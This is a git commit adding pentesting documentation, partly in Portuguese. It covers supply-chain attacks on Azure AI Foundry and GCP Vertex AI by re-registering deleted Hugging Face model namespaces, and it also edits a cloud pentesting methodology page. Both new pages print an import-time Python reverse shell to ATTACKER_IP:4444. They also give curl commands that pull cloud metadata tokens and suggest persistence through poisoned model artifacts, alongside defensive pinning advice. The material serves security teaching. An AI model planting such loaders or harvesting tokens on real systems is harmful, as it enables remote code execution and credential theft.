Translated ['src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp

This commit is contained in:
Translator
2025-09-29 21:16:28 +00:00
parent b7db17d59e
commit de4705caa6
5 changed files with 273 additions and 53 deletions

View File

@@ -1,3 +1,9 @@
# Az - Pós Exploração
# Az - Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
{{#ref}}
az-azure-ai-foundry-post-exploitation.md
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,94 @@
# Azure - AI Foundry Post-Exploitation via Hugging Face Model Namespace Reuse
{{#include ../../../banners/hacktricks-training.md}}
## Cenário
- O Azure AI Foundry Model Catalog inclui muitos modelos do Hugging Face (HF) para implantação com um clique.
- Identificadores de modelo HF são Author/ModelName. Se um autor/org HF for deletado, qualquer pessoa pode re-registrar esse autor e publicar um modelo com o mesmo ModelName no caminho legado.
- Pipelines e catálogos que puxam apenas pelo nome (sem pinagem de commit/integridade) irão resolver para repos controlados por atacantes. Quando o Azure implanta o modelo, loader code pode executar no ambiente do endpoint, concedendo RCE com as permissões desse endpoint.
Casos comuns de HF takeover:
- Remoção do proprietário: Caminho antigo retorna 404 até o takeover.
- Transferência de propriedade: Caminho antigo retorna 307 para o novo autor enquanto o autor antigo existe. Se o autor antigo for mais tarde deletado e re-registrado, o redirecionamento quebra e o repo do atacante é servido no caminho legado.
## Identificando Namespaces Reutilizáveis (HF)
```bash
# Check author/org existence
curl -I https://huggingface.co/<Author> # 200 exists, 404 deleted/available
# Check model path
curl -I https://huggingface.co/<Author>/<ModelName>
# 307 -> redirect (transfer case), 404 -> deleted until takeover
```
## End-to-end Attack Flow against Azure AI Foundry
1) No Model Catalog, encontre modelos HF cujos autores originais foram excluídos ou transferidos (antigo autor removido) no HF.
2) Re-registre o autor abandonado no HF e recrie o ModelName.
3) Publique um repo malicioso com loader code que é executado na importação ou requer trust_remote_code=True.
4) Implemente o legado Author/ModelName a partir do Azure AI Foundry. A plataforma puxa o repo do atacante; o loader é executado dentro do container/VM do endpoint Azure, resultando em RCE com permissões do endpoint.
Exemplo de fragmento de payload executado na importação (apenas demonstração):
```python
# __init__.py or a module imported by the model loader
import os, socket, subprocess, threading
def _rs(host, port):
s = socket.socket(); s.connect((host, port))
for fd in (0,1,2):
try:
os.dup2(s.fileno(), fd)
except Exception:
pass
subprocess.call(["/bin/sh","-i"]) # or powershell on Windows images
if os.environ.get("AZUREML_ENDPOINT","1") == "1":
threading.Thread(target=_rs, args=("ATTACKER_IP", 4444), daemon=True).start()
```
Notas
- Implantações do AI Foundry que integram o HF normalmente clonam e importam módulos de repo referenciados pela config do modelo (por exemplo, auto_map), o que pode desencadear execução de código. Alguns caminhos exigem trust_remote_code=True.
- O acesso normalmente corresponde às permissões da managed identity/service principal do endpoint. Trate-o como um initial access foothold para acesso a dados e movimento lateral dentro do Azure.
## Dicas de pós-exploração (Azure Endpoint)
- Enumere variáveis de ambiente e MSI endpoints para tokens:
```bash
# Azure Instance Metadata Service (inside Azure compute)
curl -H "Metadata: true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
```
- Verifique o armazenamento montado, os artefatos de modelo e os serviços Azure acessíveis com o token adquirido.
- Considere persistência deixando artefatos de modelo envenenados caso a plataforma re-puxe do HF.
## Orientação defensiva para usuários do Azure AI Foundry
- Fixe modelos por commit ao carregar do HF:
```python
from transformers import AutoModel
m = AutoModel.from_pretrained("Author/ModelName", revision="<COMMIT_HASH>")
```
- Espelhar modelos HF verificados em um registro interno confiável e implantar a partir daí.
- Escanear continuamente bases de código e defaults/docstrings/notebooks em busca de Author/ModelName hard-coded que foram excluídos/transferidos; atualizar ou fixar.
- Validar a existência do autor e a proveniência do modelo antes da implantação.
## Heurísticas de Reconhecimento (HTTP)
- Autor excluído: página do autor 404; caminho do modelo legado 404 até a tomada de controle.
- Modelo transferido: caminho legado 307 para novo autor enquanto o autor antigo existe; se o autor antigo for depois excluído e re-registrado, o caminho legado serve conteúdo do atacante.
```bash
curl -I https://huggingface.co/<OldAuthor>/<ModelName> | egrep "^HTTP|^location"
```
## Referências Cruzadas
- Veja a metodologia mais ampla e notas sobre cadeia de suprimentos:
{{#ref}}
../../pentesting-cloud-methodology.md
{{#endref}}
## Referências
- [Model Namespace Reuse: An AI Supply-Chain Attack Exploiting Model Name Trust (Unit 42)](https://unit42.paloaltonetworks.com/model-namespace-reuse/)
- [Hugging Face: Renaming or transferring a repo](https://huggingface.co/docs/hub/repositories-settings#renaming-or-transferring-a-repo)
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,3 +1,9 @@
# GCP - Pós Exploração
# GCP - Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
{{#ref}}
gcp-vertex-ai-post-exploitation.md
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,113 @@
# GCP - Vertex AI Post-Exploitation via Hugging Face Model Namespace Reuse
{{#include ../../../banners/hacktricks-training.md}}
## Cenário
- Vertex AI Model Garden permite a implantação direta de muitos modelos do Hugging Face (HF).
- Identificadores de modelo do HF seguem o formato Author/ModelName. Se um author/org no HF for excluído, o mesmo nome de author pode ser re-registrado por qualquer pessoa. Atacantes podem então criar um repo com o mesmo ModelName no caminho legado.
- Pipelines, SDKs ou catálogos cloud que busquem apenas pelo nome (sem pinning/integrity) irão puxar o repo controlado pelo atacante. Quando o modelo é implantado, o código de loader desse repo pode executar dentro do container do endpoint do Vertex AI, resultando em RCE com as permissões do endpoint.
Dois casos comuns de takeover no HF:
- Remoção de propriedade: o caminho antigo retorna 404 até que alguém re-registre o author e publique o mesmo ModelName.
- Transferência de propriedade: o HF emite 307 redirects do Author/ModelName antigo para o novo proprietário. Se o author antigo for depois excluído e re-registrado por um atacante, a cadeia de redirect é quebrada e o repo do atacante passa a servir no caminho legado.
## Identificando Namespaces Reutilizáveis (HF)
- Author antigo excluído: a página do author retorna 404; o caminho do modelo pode retornar 404 até ocorrer um takeover.
- Modelos transferidos: o caminho do modelo antigo emite 307 para o novo owner enquanto o author antigo existir. Se o author antigo for depois excluído e re-registrado, o caminho legado passará a resolver para o repo do atacante.
Verificações rápidas com curl:
```bash
# Check author/org existence
curl -I https://huggingface.co/<Author>
# 200 = exists, 404 = deleted/available
# Check old model path behavior
curl -I https://huggingface.co/<Author>/<ModelName>
# 307 = redirect to new owner (transfer case)
# 404 = missing (deletion case) until someone re-registers
```
## End-to-end Attack Flow against Vertex AI
1) Descobrir namespaces de modelos reutilizáveis que o Model Garden lista como deployable:
- Encontrar modelos HF no Vertex AI Model Garden que ainda aparecem como “verified deployable”.
- Verificar no HF se o autor original foi deletado ou se o modelo foi transferido e o autor antigo foi removido depois.
2) Re-registrar o autor deletado no HF e recriar o mesmo ModelName.
3) Publicar um repo malicioso. Incluir código que seja executado no carregamento do modelo. Exemplos que comumente são executados durante o carregamento de modelos do HF:
- Side effects in __init__.py of the repo
- Custom modeling_*.py or processing code referenced by config/auto_map
- Code paths that require trust_remote_code=True in Transformers pipelines
4) A deployment do Vertex AI do legacy Author/ModelName agora puxa o repo do atacante. O loader é executado dentro do container do endpoint do Vertex AI.
5) O payload estabelece acesso a partir do ambiente do endpoint (RCE) com as permissões do endpoint.
Example payload fragment executed on import (for demonstration only):
```python
# Place in __init__.py or a module imported by the model loader
import os, socket, subprocess, threading
def _rs(host, port):
s = socket.socket(); s.connect((host, port))
for fd in (0,1,2):
try:
os.dup2(s.fileno(), fd)
except Exception:
pass
subprocess.call(["/bin/sh","-i"]) # Or python -c exec ...
if os.environ.get("VTX_AI","1") == "1":
threading.Thread(target=_rs, args=("ATTACKER_IP", 4444), daemon=True).start()
```
Notas
- Loaders do mundo real variam. Muitas integrações Vertex AI HF clonam e importam módulos do repo referenciados pela config do modelo (por ex., auto_map), o que pode acionar code execution. Alguns usos exigem trust_remote_code=True.
- O endpoint normalmente roda em um container dedicado com escopo limitado, mas é um foothold inicial válido para acesso a dados e lateral movement em GCP.
## Post-Exploitation Tips (Vertex AI Endpoint)
Uma vez que code esteja rodando dentro do endpoint container, considere:
- Enumerar environment variables e metadata em busca de credentials/tokens
- Acessar storage anexado ou artefatos do modelo montados
- Interagir com Google APIs via identidade do service account (Document AI, Storage, Pub/Sub, etc.)
- Persistência no artefato do modelo caso a plataforma re-puxe o repo
Enumere instance metadata se acessível (dependente do container):
```bash
curl -H "Metadata-Flavor: Google" \
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
```
## Diretrizes defensivas para usuários do Vertex AI
- Fixar modelos por commit nos HF loaders para evitar substituição silenciosa:
```python
from transformers import AutoModel
m = AutoModel.from_pretrained("Author/ModelName", revision="<COMMIT_HASH>")
```
- Espelhar modelos HF verificados em um repositório/registry de artefatos interno confiável e implantar a partir daí.
- Escanear continuamente codebases e configs em busca de Author/ModelName hard-coded que foram deletados/transferidos; atualizar para novos namespaces ou fixar por commit.
- No Model Garden, verificar a proveniência do modelo e a existência do autor antes da implantação.
## Heurísticas de Reconhecimento (HTTP)
- Autor deletado: página do autor 404; caminho legado do modelo 404 até a tomada de controle.
- Modelo transferido: caminho legado 307 para novo autor enquanto o autor antigo existe; se o autor antigo for deletado e re-registrado posteriormente, o caminho legado passa a servir conteúdo do atacante.
```bash
curl -I https://huggingface.co/<OldAuthor>/<ModelName> | egrep "^HTTP|^location"
```
## Referências Cruzadas
- Veja a metodologia mais ampla e as notas sobre cadeia de suprimentos:
{{#ref}}
../../pentesting-cloud-methodology.md
{{#endref}}
## Referências
- [Model Namespace Reuse: An AI Supply-Chain Attack Exploiting Model Name Trust (Unit 42)](https://unit42.paloaltonetworks.com/model-namespace-reuse/)
- [Hugging Face: Renaming or transferring a repo](https://huggingface.co/docs/hub/repositories-settings#renaming-or-transferring-a-repo)
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,4 +1,4 @@
# Metodologia de Pentesting em Nuvem
# Metodologia de Pentesting em Cloud
{{#include ../banners/hacktricks-training.md}}
@@ -6,42 +6,42 @@
## Metodologia Básica
Cada nuvem tem suas peculiaridades, mas em geral há algumas **coisas comuns que um pentester deve verificar** ao testar um ambiente em nuvem:
Cada cloud tem suas peculiaridades, mas em geral há algumas **coisas comuns que um pentester deve checar** ao testar um ambiente cloud:
- **Verificações de Benchmark**
- Isso ajudará você a **entender o tamanho** do ambiente e **serviços utilizados**
- Também permitirá que você encontre algumas **configurações incorretas rápidas**, pois você pode realizar a maioria desses testes com **ferramentas automatizadas**
- **Enumeração de Serviços**
- Você provavelmente não encontrará muitas configurações incorretas aqui se tiver realizado corretamente os testes de benchmark, mas pode encontrar algumas que não estavam sendo procuradas no teste de benchmark.
- Isso permitirá que você saiba **o que está exatamente sendo usado** no ambiente em nuvem
- **Benchmark checks**
- Isso ajudará você a **entender o tamanho** do ambiente e **os serviços usados**
- Também permitirá encontrar algumas **misconfigurações rápidas**, já que você pode executar a maioria desses testes com **ferramentas automatizadas**
- **Services Enumeration**
- Provavelmente você não encontrará muitas mais misconfigurações aqui se realizou corretamente os testes de benchmark, mas pode encontrar algumas que não foram verificadas no teste de benchmark.
- Isso permitirá saber **o que exatamente está sendo usado** no ambiente cloud
- Isso ajudará muito nos próximos passos
- **Verifique ativos expostos**
- Isso pode ser feito durante a seção anterior, você precisa **descobrir tudo que está potencialmente exposto** à Internet de alguma forma e como pode ser acessado.
- Aqui estou considerando **infraestrutura exposta manualmente** como instâncias com páginas da web ou outras portas sendo expostas, e também sobre outros **serviços gerenciados em nuvem que podem ser configurados** para serem expostos (como DBs ou buckets)
- Então você deve verificar **se esse recurso pode ser exposto ou não** (informações confidenciais? vulnerabilidades? configurações incorretas no serviço exposto?)
- **Verifique permissões**
- Aqui você deve **descobrir todas as permissões de cada função/usuário** dentro da nuvem e como elas são usadas
- Muitas contas **altamente privilegiadas** (controlam tudo)? Chaves geradas não utilizadas?... A maioria dessas verificações deveria ter sido feita nos testes de benchmark
- Se o cliente estiver usando OpenID ou SAML ou outra **federação**, você pode precisar pedir mais **informações** sobre **como cada função está sendo atribuída** (não é a mesma coisa que a função de admin ser atribuída a 1 usuário ou a 100)
- Não é **suficiente encontrar** quais usuários têm permissões **admin** "\*:\*". Existem muitas **outras permissões** que, dependendo dos serviços utilizados, podem ser muito **sensíveis**.
- Além disso, existem **potenciais caminhos de privesc** a seguir abusando de permissões. Todas essas coisas devem ser levadas em conta e **o maior número possível de caminhos de privesc** deve ser relatado.
- **Verifique Integrações**
- É altamente provável que **integrações com outras nuvens ou SaaS** estejam sendo usadas dentro do ambiente em nuvem.
- Para **integrações da nuvem que você está auditando** com outra plataforma, você deve notificar **quem tem acesso para (ab)usar essa integração** e deve perguntar **quão sensível** é a ação sendo realizada.\
Por exemplo, quem pode escrever em um bucket AWS de onde o GCP está obtendo dados (pergunte quão sensível é a ação no GCP ao tratar esses dados).
- Para **integrações dentro da nuvem que você está auditando** de plataformas externas, você deve perguntar **quem tem acesso externamente para (ab)usar essa integração** e verificar como esses dados estão sendo usados.\
Por exemplo, se um serviço estiver usando uma imagem Docker hospedada no GCR, você deve perguntar quem tem acesso para modificar isso e quais informações sensíveis e acessos essa imagem obterá quando executada dentro de uma nuvem AWS.
- **Check exposed assets**
- Isto pode ser feito durante a seção anterior; você precisa **identificar tudo que potencialmente está exposto** à Internet de alguma forma e como pode ser acessado.
- Aqui estou considerando **infraestrutura exposta manualmente** como instâncias com páginas web ou outras portas expostas, e também **serviços gerenciados da cloud que podem ser configurados** para serem expostos (como DBs ou buckets)
- Então você deve verificar **se esse recurso pode ser exposto ou não** (informação confidencial? vulnerabilidades? misconfigurações no serviço exposto?)
- **Check permissions**
- Aqui você deve **descobrir todas as permissões de cada role/usuário** dentro da cloud e como são usadas
- Muitas contas **altamente privilegiadas** (controlam tudo)? Chaves geradas não usadas?... A maioria dessas verificações deveria ter sido feita nos testes de benchmark
- Se o cliente estiver usando OpenID ou SAML ou outra **federação** você pode precisar pedir mais **informações** sobre **como cada role está sendo atribuído** (não é o mesmo que o role admin esteja atribuído a 1 usuário ou a 100)
- Não basta **identificar** quais usuários têm permissões **admin** "\*:\*". Existem muitas **outras permissões** que, dependendo dos serviços usados, podem ser muito **sensíveis**.
- Além disso, existem maneiras de **privesc** potenciais a explorar abusando permissões. Todas essas coisas devem ser levadas em conta e **o máximo de caminhos de privesc possível** deve ser reportado.
- **Check Integrations**
- É altamente provável que **integrações com outras clouds ou SaaS** estejam sendo usadas dentro do ambiente cloud.
- Para **integrações da cloud que você está auditando** com outra plataforma você deve notificar **quem tem acesso para (ab)usar essa integração** e você deve perguntar **o quão sensível** é a ação que está sendo realizada.\
Por exemplo, quem pode escrever em um bucket AWS de onde o GCP está obtendo dados (pergunte quão sensível é a ação no GCP tratando esses dados).
- Para **integrações dentro da cloud que você está auditando** vindas de plataformas externas, você deve perguntar **quem tem acesso externamente para (ab)usar essa integração** e verificar como esses dados estão sendo usados.\
Por exemplo, se um serviço está usando uma imagem Docker hospedada no GCR, você deve perguntar quem tem acesso para modificá-la e quais informações sensíveis e acessos essa imagem terá quando executada dentro de uma cloud AWS.
## Ferramentas Multi-Nuvem
## Ferramentas Multi-Cloud
Existem várias ferramentas que podem ser usadas para testar diferentes ambientes em nuvem. Os passos de instalação e links serão indicados nesta seção.
Existem várias ferramentas que podem ser usadas para testar diferentes ambientes cloud. Os passos de instalação e links serão indicados nesta seção.
### [PurplePanda](https://github.com/carlospolop/purplepanda)
Uma ferramenta para **identificar configurações ruins e caminhos de privesc em nuvens e entre nuvens/SaaS.**
Uma ferramenta para **identificar más configurações e caminhos de privesc em clouds e entre clouds/SaaS.**
{{#tabs }}
{{#tab name="Instalar" }}
{{#tab name="Install" }}
```bash
# You need to install and run neo4j also
git clone https://github.com/carlospolop/PurplePanda
@@ -71,7 +71,7 @@ python3 main.py -e -p google #Enumerate the env
### [Prowler](https://github.com/prowler-cloud/prowler)
Ele suporta **AWS, GCP & Azure**. Verifique como configurar cada provedor em [https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws)
Suporta **AWS, GCP & Azure**. Veja como configurar cada provedor em [https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws)
```bash
# Install
pip install prowler
@@ -91,7 +91,7 @@ prowler <provider> --list-services
AWS, Azure, Github, Google, Oracle, Alibaba
{{#tabs }}
{{#tab name="Instalar" }}
{{#tab name="Install" }}
```bash
# Install
git clone https://github.com/aquasecurity/cloudsploit.git
@@ -115,7 +115,7 @@ npm install
AWS, Azure, GCP, Alibaba Cloud, Oracle Cloud Infrastructure
{{#tabs }}
{{#tab name="Instalar" }}
{{#tab name="Install" }}
```bash
mkdir scout; cd scout
virtualenv -p python3 venv
@@ -145,8 +145,8 @@ done
### [Steampipe](https://github.com/turbot)
{{#tabs }}
{{#tab name="Instalar" }}
Baixe e instale o Steampipe ([https://steampipe.io/downloads](https://steampipe.io/downloads)). Ou use o Brew:
{{#tab name="Install" }}
Faça o download e instale o Steampipe ([https://steampipe.io/downloads](https://steampipe.io/downloads)). Ou use Brew:
```
brew tap turbot/tap
brew install steampipe
@@ -168,9 +168,9 @@ steampipe check all
```
<details>
<summary>Verificar todos os Projetos</summary>
<summary>Verificar todos os projetos</summary>
Para verificar todos os projetos, você precisa gerar o arquivo `gcp.spc` indicando todos os projetos a serem testados. Você pode apenas seguir as indicações do seguinte script.
Para verificar todos os projetos, você precisa gerar o arquivo `gcp.spc` indicando todos os projetos a serem testados. Você pode seguir as instruções do script a seguir
```bash
FILEPATH="/tmp/gcp.spc"
rm -rf "$FILEPATH" 2>/dev/null
@@ -194,11 +194,11 @@ echo "Copy $FILEPATH in ~/.steampipe/config/gcp.spc if it was correctly generate
```
</details>
Para verificar **outros insights do GCP** (útil para enumerar serviços) use: [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights)
Para verificar **outros insights GCP** (útil para enumerar serviços) use: [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights)
Para verificar o código Terraform do GCP: [https://github.com/turbot/steampipe-mod-terraform-gcp-compliance](https://github.com/turbot/steampipe-mod-terraform-gcp-compliance)
Para verificar código Terraform GCP: [https://github.com/turbot/steampipe-mod-terraform-gcp-compliance](https://github.com/turbot/steampipe-mod-terraform-gcp-compliance)
Mais plugins do GCP do Steampipe: [https://github.com/turbot?q=gcp](https://github.com/turbot?q=gcp)
Mais plugins GCP do Steampipe: [https://github.com/turbot?q=gcp](https://github.com/turbot?q=gcp)
{{#endtab }}
{{#tab name="AWS" }}
@@ -225,7 +225,7 @@ cd steampipe-mod-aws-compliance
steampipe dashboard # To see results in browser
steampipe check all --export=/tmp/output4.json
```
Para verificar o código Terraform AWS: [https://github.com/turbot/steampipe-mod-terraform-aws-compliance](https://github.com/turbot/steampipe-mod-terraform-aws-compliance)
Para verificar código Terraform AWS: [https://github.com/turbot/steampipe-mod-terraform-aws-compliance](https://github.com/turbot/steampipe-mod-terraform-aws-compliance)
Mais plugins AWS do Steampipe: [https://github.com/orgs/turbot/repositories?q=aws](https://github.com/orgs/turbot/repositories?q=aws)
{{#endtab }}
@@ -238,11 +238,11 @@ Requer python2.7 e parece não estar mantido.
### Nessus
Nessus tem uma varredura _**Audit Cloud Infrastructure**_ que suporta: AWS, Azure, Office 365, Rackspace, Salesforce. Algumas configurações extras em **Azure** são necessárias para obter um **Client Id**.
Nessus tem um scan _**Audit Cloud Infrastructure**_ que suporta: AWS, Azure, Office 365, Rackspace, Salesforce. São necessárias algumas configurações adicionais no **Azure** para obter um **Client Id**.
### [**cloudlist**](https://github.com/projectdiscovery/cloudlist)
Cloudlist é uma **ferramenta multi-cloud para obter Ativos** (Nomes de Host, Endereços IP) de Provedores de Nuvem.
Cloudlist é uma **ferramenta multi-cloud para obter Assets** (Hostnames, IP Addresses) de Cloud Providers.
{{#tabs }}
{{#tab name="Cloudlist" }}
@@ -265,7 +265,7 @@ cloudlist -config </path/to/config>
### [**cartography**](https://github.com/lyft/cartography)
Cartography é uma ferramenta Python que consolida ativos de infraestrutura e os relacionamentos entre eles em uma visualização gráfica intuitiva alimentada por um banco de dados Neo4j.
Cartography é uma ferramenta Python que consolida ativos de infraestrutura e os relacionamentos entre eles em uma visualização em grafo intuitiva, alimentada por um banco de dados Neo4j.
{{#tabs }}
{{#tab name="Install" }}
@@ -302,7 +302,7 @@ ghcr.io/lyft/cartography \
### [**starbase**](https://github.com/JupiterOne/starbase)
Starbase coleta ativos e relacionamentos de serviços e sistemas, incluindo infraestrutura em nuvem, aplicações SaaS, controles de segurança e mais, em uma visualização gráfica intuitiva suportada pelo banco de dados Neo4j.
Starbase coleta ativos e relacionamentos de serviços e sistemas, incluindo infraestrutura em nuvem, aplicações SaaS, controles de segurança e mais, em uma visualização de grafo intuitiva suportada pelo banco de dados Neo4j.
{{#tabs }}
{{#tab name="Install" }}
@@ -361,7 +361,7 @@ uri: bolt://localhost:7687
### [**SkyArk**](https://github.com/cyberark/SkyArk)
Descubra os usuários mais privilegiados no ambiente AWS ou Azure escaneado, incluindo os AWS Shadow Admins. Ele usa powershell.
Identifica os usuários mais privilegiados no ambiente AWS ou Azure escaneado, incluindo os AWS Shadow Admins. Usa powershell.
```bash
Import-Module .\SkyArk.ps1 -force
Start-AzureStealth
@@ -372,15 +372,15 @@ Scan-AzureAdmins
```
### [Cloud Brute](https://github.com/0xsha/CloudBrute)
Uma ferramenta para encontrar a infraestrutura, arquivos e aplicativos de uma empresa (alvo) nos principais provedores de nuvem (Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode).
Uma ferramenta para encontrar a infraestrutura de uma empresa (alvo), arquivos e apps nos principais provedores de cloud (Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode).
### [CloudFox](https://github.com/BishopFox/cloudfox)
- CloudFox é uma ferramenta para encontrar caminhos de ataque exploráveis na infraestrutura de nuvem (atualmente apenas AWS e Azure suportados, com GCP em breve).
- É uma ferramenta de enumeração que visa complementar o pentesting manual.
- Não cria nem modifica nenhum dado dentro do ambiente de nuvem.
- CloudFox é uma ferramenta para encontrar caminhos de ataque exploráveis em infraestruturas cloud (atualmente suporta apenas AWS & Azure, com GCP em breve).
- É uma ferramenta de enumeração destinada a complementar pentesting manual.
- Não cria nem modifica nenhum dado dentro do ambiente cloud.
### Mais listas de ferramentas de segurança em nuvem
### More lists of cloud security tools
- [https://github.com/RyanJarv/awesome-cloud-sec](https://github.com/RyanJarv/awesome-cloud-sec)
@@ -412,10 +412,11 @@ azure-security/
### Attack Graph
[**Stormspotter** ](https://github.com/Azure/Stormspotter) cria um “gráfico de ataque” dos recursos em uma assinatura Azure. Ele permite que equipes vermelhas e pentesters visualizem a superfície de ataque e oportunidades de pivô dentro de um inquilino, e potencializa seus defensores para rapidamente se orientar e priorizar o trabalho de resposta a incidentes.
[**Stormspotter** ](https://github.com/Azure/Stormspotter) cria um “attack graph” dos recursos em uma Azure subscription. Permite que red teams e pentesters visualizem a superfície de ataque e oportunidades de pivot dentro de um tenant, e supercharges seus defenders para rapidamente se orientar e priorizar o trabalho de incident response.
### Office365
Você precisa de **Global Admin** ou pelo menos **Global Admin Reader** (mas note que o Global Admin Reader é um pouco limitado). No entanto, essas limitações aparecem em alguns módulos PS e podem ser contornadas acessando os recursos **via a aplicação web**.
Você precisa de **Global Admin** ou pelo menos **Global Admin Reader** (mas note que Global Admin Reader é um pouco limitado). No entanto, essas limitações aparecem em alguns módulos PS e podem ser contornadas acessando os recursos **via the web application**.
{{#include ../banners/hacktricks-training.md}}